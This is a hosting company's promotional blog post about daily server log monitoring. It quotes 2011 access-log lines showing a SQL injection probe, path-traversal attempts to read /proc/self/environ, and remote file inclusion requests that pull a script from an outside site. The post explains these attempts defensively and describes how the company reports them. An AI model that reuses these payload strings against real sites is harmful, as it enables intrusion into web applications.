Would it make sense for some one to tell you a building was being kept secure from trespassers; yet, as you watched, over time, you didn’t see anyone on foot patrolling the area (inside or out), did not see anyone watching monitors (where there even cameras monitoring areas?), there were no recordings from the monitors being kept for any period of time. How would you feel about the security of the building? Could the security team learn from break in attempts? Would the security team even know if there was a break in?
Part of taking server security seriously is having regular patrols via an intrusion detection system; and, reviewing log files to see what types of attacks hackers are trying to use against the server, reviewing if the security measures already in place are sufficient to handle the attacks, and informing the data centers hosting the machine(s) used by the attacker so they can investigate the source of the attacks on their end.
Log file monitoring and management is a critical task hosting providers should perform daily to ensure they are providing a secure environment for their hosting customers. I was pleased to read Chris Mohan’s article on the subject matter, appropriately titled, Log files – are you reviewing yours?
Chris’ opening statement is indeed happening every single day — “The media is full of security horror stories of company after company being breached by attackers, but very little information is actual forthcoming on the real details.â€
If you are not one of our managed hosting customers, please consider asking your hosting provider about their procedures and policies for log file monitoring and management. If they have none in place, and you are happy hosting with them, ask them to contact us for a quote to handle this critical security function for them. If security means a lot to you, and they are not taking security seriously, we will openly welcome you to our care.
Every day, we review the log files of our servers, and a number of other hosting providers who have contracted us to handle their log file monitoring and management. We carefully review the log files looking for problems as seemingly simple as partition disk utilization to warning signs of client’s having bad code on their site, to identifying hacking and injection attempts.
For the latter, we determine if the attacks were blocked through various security layers (we are often called upon to perform log file monitoring and management on servers we have hardened and keep secure) that should be in place, look at adding additional security layers if necessary (sometimes it might as simple as adding an attacking IP / IP range to a firewall or creating / modifying a mod_security rule); and, since bad behavior will continue unchecked if there’s no communication, we alert the data center hosting the machine(s) involved in the attacks to investigate things on their end.
What are some live examples of what we see day in and day out (most machines we review log files for have multiple attacks against them every single day)?
Request: domain1.com 91.224.160.60 – – [21/Jun/2011:11:56:40 -0400] “GET /contact/press_release_pop.php?id=-109+UNION+SELECT+1,2,3,4,CONCAT(0x6d7973716c6669,table_schema,0x3a,table_name,0x6d7973716c6669),6,7,8,9,1+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_name+LIKE+0x25757365726d65746125+limit+0,1– HTTP/1.1” 500 3506 “-” “Python-urllib/2.7” TgC-OK3By8sACPOAAFA “-“
Request: domain2.com 221.157.225.69 – – [22/Jun/2011:01:46:14 -0400] “GET /index.php?option=com_ckforms&view=ckforms&id=1&Itemid=81//index.php?option=com_ckforms&controller=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1” 500 3506 “-” “Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929” TgGBpq3By8sABmPYGQY “-“
Request: domain2.com 221.157.225.69 – – [22/Jun/2011:01:46:14 -0400] “GET //index.php?option=com_ckforms&controller=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1” 500 3506 “-” “Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929”
Request: domain3.com 174.121.218.75 – – [22/Jun/2011:13:46:16 -0400] “GET /home.php?pgi?pgi=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1” 500 3506 “-” “libwww-perl/6.02” TgIqaK4l@LYAAHhgHZ0 “-“
Request: domain3.com 174.121.218.75 – – [22/Jun/2011:13:46:16 -0400] “GET /athletics/home.php?pgi?pgi=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1” 500 3506 “-” “libwww-perl/6.02” TgIqaK4l@LYAAHmqNrI “-“
Request: domain3.com 174.121.218.75 – – [22/Jun/2011:13:46:16 -0400] “GET /hr/home.php?pgi?pgi=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1” 500 3506 “-” “libwww-perl/6.02” TgIqaK4l@LYAAHhhLJk “-“
Request: domain3.com 174.121.218.75 – – [22/Jun/2011:13:47:01 -0400] “GET /home.php?pgi?pgi=http://www.autoviacaomicaelense.pt/transportes/ckeditor/images/vero.txt? HTTP/1.1” 500 3506 “-” “libwww-perl/6.02” TgIqla4l@LYAAFdTHho “-“
Request: domain3.com 174.121.218.75 – – [22/Jun/2011:13:47:01 -0400] “GET /athletics/home.php?pgi?pgi=http://www.autoviacaomicaelense.pt/transportes/ckeditor/images/vero.txt? HTTP/1.1” 500 3506 “-” “libwww-perl/6.02” TgIqla4l@LYAAAXQRGk “-“
Request: domain3.com 174.121.218.75 – – [22/Jun/2011:13:47:01 -0400] “GET /hr/home.php?pgi?pgi=http://www.autoviacaomicaelense.pt/transportes/ckeditor/images/vero.txt? HTTP/1.1” 500 3506 “-” “libwww-perl/6.02” TgIqla4l@LYAAGw5dRw “-“
The first example is an attack against the database being used by the site. The second attack involves the attacker trying to find out information about the hosting operating system environment. The third attack is where the attacker shifts from trying to find out about the operating system environment to trying to inject code.
If we notice multiple attacks from multiple sources against the same domain name or IP address, then we also alert the client who is behind the domain name / IP address (or our customer if a hosting provider to alert their client) their application(s) should be reviewed in case the reason for all of the attacks is the hacker / hacker group knows, or has reason to believe, the application(s) involved to be vulnerable to attack.
We group attacks by source IP, and when there are three or more attacks from the same source, we notify the abuse department of the provider of the IP services to the machine(s) utilized in the attacks. While not all abuse departments respond back to our abuse reports, we often receive back emails stating either the offender was removed or the responsible party for the machines cleaned up the malware / hacks.
Our goal for log file monitoring and log file management is to ensure the hosting environment for which we are monitoring — our own and other hosting providers — is secured, whether a breach has taken place (to recover quickly from it, and learn from it), and to help others on the Internet by reporting hackers. We strongly believe that over time this creates a safer Internet.
If you are one of our hosting customers, I hope you are assured security matters, and we take security seriously. If you are a visitor, I do hope you contact your hosting provider to find out if they take security seriously
Contact us for more information.